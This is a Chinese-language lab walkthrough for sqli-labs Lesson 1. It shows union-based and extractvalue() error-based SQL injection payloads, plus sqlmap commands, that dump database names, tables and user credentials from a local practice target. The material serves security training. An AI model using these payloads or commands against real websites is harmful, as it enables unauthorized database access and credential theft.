sqli-labs
第一关
一. 直接注入
我们尝试注入
?id=1 and 1=1和?id=1 and 1=2发现页面没有报错。可以知道此题不是整型注入。我在源码中加入了echo"$sql",所以页面会显示我们注入的sql语句。
之后我们输入?id=1'显示为
所以我们可以判断出为字符型注入。
于是我们拼接字符串
?id=1' and '1'='1
回显正常
我们使用order by来确定表中列数,于是我们构造?id=1'and '1'='1' order by 1 --+页面显示正常
再次构造?id=1' and order by 2 --+——页面显示正常
?id=1' and order by 3 --+——页面显示正常
?id=1' and '1'='1' order by 4 --+——出错如图
所以我们可以确定了字段数,于是可以利用union查询,先构造正确的报错行为,接下来用union select 1,2,3--+(即union左边的查询结果为空,右边的查询结果显示到网页上)可以爆出显示位。所以我们可以构造?id=-1' union select 1,2,3--+
或者构造?id=1' and 1=2 union select 1,2,3--+
等等凡是union左面为错误即可。根据回显的结果,我们可以知道回显位为2,3。
所以我们开始利用union进行查询:
- 查询数据库和版本信息:
?id=1' and 1=2 union select 1,database(),version()--+
了解到数据库是security,版本信息:10.3
- 爆出该数据库的表名:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
得到了该数据库的表名
- 查看各种表的字段名(例如:user):
?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users'--+
- 查询字段信息:
?id=-1' union select 1,2,group_concat(username,0x5c,password)from users--+(0x5c:)
得到了username和password。
二,使用sqlmap注入
因为我们已经知道注入点,所以直接使用sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" --dbs
我们知道了security数据库,开始爆表sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security --tables
爆字段sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users --columns
爆出字段下的信息sqlmap -u "http://127.0.0.1/sqli-labs/less-1/?id=1" -D security -T user -C "id,username,password" --dump
得到信息。
三. 手工报错注入
- 爆数据库
?id=1' union select 1,2,extractvalue(1,concat(0x5c,database()))--+或者?id=1' and extractvalue(1,concat(0x5c,database()))--+
得到数据库名:security
- 爆表名
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
得到表名
- 爆字段
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('id')))) --+
- 爆值
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
总结:应用extractvalue()。格式基本为:extractalue(1,concat(0x5c,(select group_concat(A) from information_schema.B where C)))--+
爆数据库extractvalue(1,concat(0x5c,database()))--+
爆表名A:table_name、B:tables、C:table_schema=database()
爆字段名A:column_name、B:columns、C:table_name='表名' and column_name not in ('不包括的内容')(防止返回的错误太长,而不能完全显示)
爆值:A:字段名、B:表名、C:可以指定字段,然后不输出该字段的某个值。如: 字段名 not in('指定不包括的值‘,’同前一个‘)
PS:
- 判断是否为整型注入,在数据库中1=1 和1=2 后面随便输入字符串(相当于1=1和1=2后面的查询语句)。我们可以测试,
select 1="1dadfas“
输入select 1="2fdafd"
输入select 2="2fdasfd"
我们可以看出当在select查询时,会忽略后面的字符串只与字符串的第一个数字对比,如果相等就返回1,不相等就返回0。
- 联合查询特点:(1)要求多条查询语句的查询列数是一致的 (2)要求多条查询语句的查询的每一列的类型和顺序最好一致
(3)union关键字默认去重,如果使用union all可以包含重复项
-
sql注释为
#,mysql也可以用--来注释 blog.csdn.net/weixin_4309… -
union查询中要有报错:这样就可以把后面的sql语句带进sql里进行操作,从而获取回显位。
(2)
-
sqlmap基本语句: --dbs:查看所有数据库 --tables:查看所有表 --columns:查看所有字段名 --dump:查询那个表的数据 www.freebuf.com/sectool/164…
-
基本函数: version();查看数据库版本 database();查看使用的数据库
user();查看当前用户 limit:limit子句分批来获取所有数据 group_concat();一次性获取所有数据库信息 table_name;表名 table_schema;数据库名 column_name;字段名 information_schema.schema;查询所有数据库 information_schema.tables;查询所有表名 information_schema.columns;查询所有表头(列名) -
关于extractvalue()的使用